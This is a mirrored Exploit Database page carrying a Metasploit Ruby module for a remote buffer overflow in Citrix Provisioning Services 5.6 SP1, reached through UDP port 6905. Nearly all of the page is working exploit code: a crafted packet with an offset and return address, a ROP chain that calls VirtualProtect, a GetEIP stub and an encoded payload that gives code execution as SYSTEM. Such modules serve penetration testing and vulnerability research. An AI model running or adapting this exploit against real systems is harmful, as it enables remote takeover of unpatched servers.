Citrix Provisioning Services 5.6 SP1 – Streamprocess Opcode 0x40020006 Buffer Overflow (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2012-06-01
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18968/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::Udp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020006 Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a remote buffer overflow in the Citrix Provisioning Services
  				5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet with the opcode
  				0x40020006 (GetObjetsRequest) to the 6905/UDP port. The module, which allows code execution
  				under the context of SYSTEM, has been successfully tested on Windows Server 2003 SP2
  				and Windows XP SP3.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'Anyway <Aniway.Anyway[at]gmail.com>', # Vulnerability Discovery
  					'alino <26alino[at]gmail.com>', # citrix_streamprocess_data_msg author
  					'juan vazquez'# Metasploit module
  				],
  			'Version'=> '$Revision: $',
  			'References' =>
  				[
  					['OSVDB', '75780'],
  					['BID', '49803'],
  					['URL', 'http://support.citrix.com/article/CTX130846'],
  					['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-010/']
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  					'InitialAutoRunScript' => 'migrate -f',
  				},
  			'Payload'=>
  				{
  					'BadChars' => "\x00",
  					'EncoderOptions' => {'BufferRegister'=>'ECX'},
  				},
  			'Platform' => ['win'],
  			'Targets'=>
  				[
  					[ 'Citrix Provisioning Services 5.6 SP1',
  						{
  							'Offset' => 1500,
  							'Ret'=> 0x0045403a # ADD ESP,664; RETN 04 streamprocess.exe
  						}
  					]
  				],
  			'Privileged' => true,
  			'DisclosureDate' => 'Nov 04 2011',#CTX130846 creation date
  			'DefaultTarget'=> 0))
  
  		register_options([Opt::RPORT(6905)], self.class)
  	end
  
  	def exploit
  
  		packet ="\x06\x00\x02\x40" # DATA MSG
  		packet << rand_text_alpha_upper(18)
  		packet << "\x00\x00\x00\x00"
  		packet << "\x00\x00\x00\x00" # Length
  		packet << rand_text_alpha_upper(target['Offset'])
  		packet << [target.ret].pack('V')
  
  		rop_nop = [0x004a072c].pack('V') * 38 # RETN streamprocess.exe
  
  		rop_gadgets =
  		[
  			0x0045b141, # POP EAX; RETN streamprocess.exe
  			0x1009a1bc, # VirtualProtect()
  			0x00436d44, # MOV EAX,DWORD PTR DS:[EAX]; RETN streamprocess.exe
  			0x004b0bbe, # XCHG EAX,ESI; RETN streamprocess.exe
  			0x004ad0cf, # POP EBP; RETN streamprocess.exe
  			0x00455d9d, # PUSH ESP; RETN streamprocess.exe
  			0x00497f5a, # POP EAX; RETN streamprocess.exe
  			0xfffff9d0, # dwSize
  			0x00447669, # NEG EAX; RETN streamprocess.exe
  			0x004138a7, # ADD EBX,EAX; XOR EAX,EAX; RETN streamprocess.exe
  			0x00426305, # POP ECX; RETN streamprocess.exe
  			0x00671fb9, # lpflOldProtect
  			0x004e41e6, # POP EDI; RETN streamprocess.exe
  			0x0040f004, # RETN streamprocess.exe
  			0x00495c05, # POP EAX; RETN streamprocess.exe
  			0xffffffc0, # flNewProtect
  			0x0042c79a, # NEG EAX; RETN streamprocess.exe
  			0x0049b676, # XCHG EAX,EDX; RETN streamprocess.exe
  			0x0045c1fa, # POP EAX; RETN streamprocess.exe
  			0x90909090, # NOP
  			0x00435bbe, # PUSHAD; RETN streamprocess.exe
  		].pack("V*")
  
  		packet[338, rop_nop.length] = rop_nop
  		packet[490, rop_gadgets.length] = rop_gadgets
  		# Put payload address in ecx
  		geteip = "\xeb\x03" # jmp short 0x5
  		geteip << "\x59" # pop ecx
  		geteip << "\xff\xd1" # call ecx
  		geteip << "\xe8\xf8\xff\xff\xff" # call to "pop / call"
  		packet[574, 10] = geteip
  		packet[584, payload.encoded.length] = payload.encoded
  
  		print_status("Trying target #{target.name}...")
  
  		connect_udp
  		udp_sock.put(packet)
  
  		handler
  		disconnect_udp
  	end
  end